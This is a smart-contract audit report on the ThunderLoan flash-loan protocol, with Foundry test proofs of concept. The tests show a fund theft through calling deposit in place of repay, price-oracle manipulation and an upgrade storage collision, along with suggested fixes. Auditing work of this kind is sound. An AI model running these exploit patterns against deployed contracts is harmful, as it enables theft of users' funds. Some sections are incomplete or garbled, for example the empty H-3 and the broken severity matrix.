Protocol Audit Report

Version 1.0

ZenoraSec

August 12, 2024

Protocol Audit Report

ZenoraSec

August 12, 2024

Prepared by: ZenoraSec Lead Security Researcher: Jeremy Zenora

Table of Contents

- Medium
  - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
- Low
  - [L-1] In function `ThunderLoan::updateFlashLoanFee` there is no event emitted when changing a storage variable
  - [L-2] In interface function `IThunderLoan::repay`, parameters are incorrect, and it is not even imported in the `Thunderloan` contract!
- Informational
  - [I-1] In `IFlashLoanReceiver::executeOperation` there is no natspec, this is very important function, and unused import `import {IThunderLoan} from "./IThunderLoan.sol";`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

The ZenoraSec team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

```
./src/
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Executive Summary

We found a few major issues that contradicted the logic and original use of the protocol. We recommend to rethink the way the whole protocol works as suggested in the findings below. We used foundry framework with tools such as fuzzing, symbolic/formal verification, manual review.

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	2
Info	1

Severity	Number of issues found
Total	8

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes the protocol to think it has more fees than it actually does, blocking the redeem function and incorrectly sets `exchangeRate`

Description: the `exchangeRate` is responsible for the exchange between assetToken and underlying tokens, in a way, it is also responsible for the fees that liquidity providers will collect. However you update `exchangeRate` in the `deposit` function when you have not collected any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          //@audit-high increasing fees, while we have not collected any
               fees!
8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
11     }
```

Impact: The `redeem` function is blocked

Proof of Concept:

1. LP deposits
2. User performs flashloan
3. LP tries to redeem his deposit + fees = fails.

PoC

```
1  function testRedeem() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
```

```
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, type(uint256).max);

        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the 2 lines in the `deposit` function that update the fees.

```
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

PoC:

```
function testUseDepositInsteadOfRepayToStealFunds()
        public
        setAllowedToken
        hasDeposits
    {
        vm.startPrank(user);
        MaliciousRepay receiverCA = new MaliciousRepay(address(
            thunderLoan));
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, 50e18);
        tokenA.mint(address(receiverCA), fee);
        thunderLoan.flashloan(address(receiverCA), tokenA, 50e18, "");
        receiverCA.redeem();
        vm.stopPrank();

        //this means that we started with only the fee, but ended up
            with 50e18 + FEE! We stole the money of others.
        assert(tokenA.balanceOf(address(receiverCA)) > 50e18 + fee);
    }
```

[H-3] `getPriceOfOnePoolTokenInWeth` uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals

[H-4] New upgraded `ThunderLoanUpgraded` switches up two storage variables compared to original `ThunderLoan`, causing storage collision when upgrading.

Description: In new implementation `ThunderLoanUpgraded` you set storage variables in this order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee  STORAGE SLOT 2
    uint256 public constant FEE_PRECISION = 1e18;
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning; //              STORAGE SLOT 3
```

however in the `ThunderLoan` you set them in following order:

```
    uint256 private s_feePrecision; //               STORAGE SLOT 2
    uint256 private s_flashLoanFee; // 0.3% ETH fee  STORAGE SLOT 3
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning; //              STORAGE SLOT 4
```

Impact: This will cause incorrectly assigning the value of `s_flashLoanFee` to original `s_feePrecision`. Additionally, the some other variables would get switched up.

Proof of Concept:

1. upgrade the protocol
2. intended 0.3% becomes much larger 1e18 instead of 3e15

Logs: Fee before upgrade: 3000000000000000 Fee after upgrade: 1000000000000000000

PoC

```
function testFeeAfterUpgrade() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();

        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after  upgrade: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation: in the `ThunderLoanUpgraded`, switch up the variables, and make the `FEE_PRECISION` a non-constant:

```
-     uint256 private s_flashLoanFee; // 0.3% ETH fee
-     uint256 public constant FEE_PRECISION = 1e18;
      mapping(IERC20 token => bool currentlyFlashLoaning) private
          s_currentlyFlashLoaning;

+     uint256 private s_feePrecision;
+     uint256 private s_flashLoanFee; // 0.3% ETH fee
      mapping(IERC20 token => bool currentlyFlashLoaning) private
          s_currentlyFlashLoaning;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

PoC:

```
function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth)
        );
        address tswapPool = poolFactory.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        //fund TswapPool
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        weth.mint(liquidityProvider, 100e18);
        tokenA.approve(tswapPool, 100e18);
        weth.approve(tswapPool, 100e18);

        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        //ratio 100 ETH and 100 TOKENS
        // 1 : 1 PRICE
        vm.stopPrank();

        //set the token to be allowed
```

```
30          vm.prank(thunderLoan.owner());
31          thunderLoan.setAllowedToken(tokenA, true);
32
33          //fund ThunderLoan
34          vm.startPrank(liquidityProvider);
35          tokenA.mint(liquidityProvider, 1000e18);
36          tokenA.approve(address(thunderLoan), 1000e18);
37          thunderLoan.deposit(tokenA, 1000e18);
38          vm.stopPrank();
39
40          //normal fee for 100e18 is:  0.296147410319118389
41          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
42          console.log("Normal fee for 100e18 is: ", normalFeeCost);
43          //attacker will flashloan the token and swap on tswap
44          MaliciousFlashloanReceiver attackCA = new
                MaliciousFlashloanReceiver(
45              address(tswapPool),
46              address(thunderLoan),
47              address(thunderLoan.getAssetFromToken(tokenA))
48          );
49
50          vm.startPrank(user);
51          tokenA.mint(address(attackCA), 100e18);
52          thunderLoan.flashloan(address(attackCA), tokenA, 50e18, "");
53          vm.stopPrank();
54
55          uint256 attackFee = attackCA.feeOne() + attackCA.feeTwo();
56          console.log("Attack fee for 100e18 is: ", attackFee);
57
58          assert(attackFee < normalFeeCost);
59      }
```

Low

[L-1] In function `ThunderLoan::updateFlashLoanFee` there is no event emitted when changing a storage variable

```
1  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2          if (newFee > s_feePrecision) {
3              revert ThunderLoan__BadNewFee();
4          }
5          //@audit-low forgot to emit an event! when changing storage
               variables, emit events.
6  @>      s_flashLoanFee = newFee;
7      }
```

It is a good practice to emit Events when changing variables that are stored in storage.

```
+   event ChangedFlashloanFee(uint256 oldFee, uint256 newFee);
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
+       ChangedFlashloanFee(s_flashLoanFee, newFee);
        s_flashLoanFee = newFee;
    }
```

[L-2] In interface function `IThunderLoan::repay`, parameters are incorrect, and it is not even imported in the `Thunderloan` contract!

this is how `repay` function looks in the `ThunderLoan` contract:

```
function repay(IERC20 token, uint256 amount) public
```

this is what it looks like in `IThunderLoan::repay`:

```
function repay(address token, uint256 amount) external
```

It is recommended that you import this interface in the `ThunderLoan` contract, and change the `IThunderLoan::repay` as following:

```
-    function repay(address token, uint256 amount) external
+    function repay(IERC20 token, uint256 amount) external
```

Informational

[I-1] In `IFlashLoanReceiver::executeOperation` there is no natspec, this is very important function, and unused import `import {IThunderLoan} from "./IThunderLoan.sol";`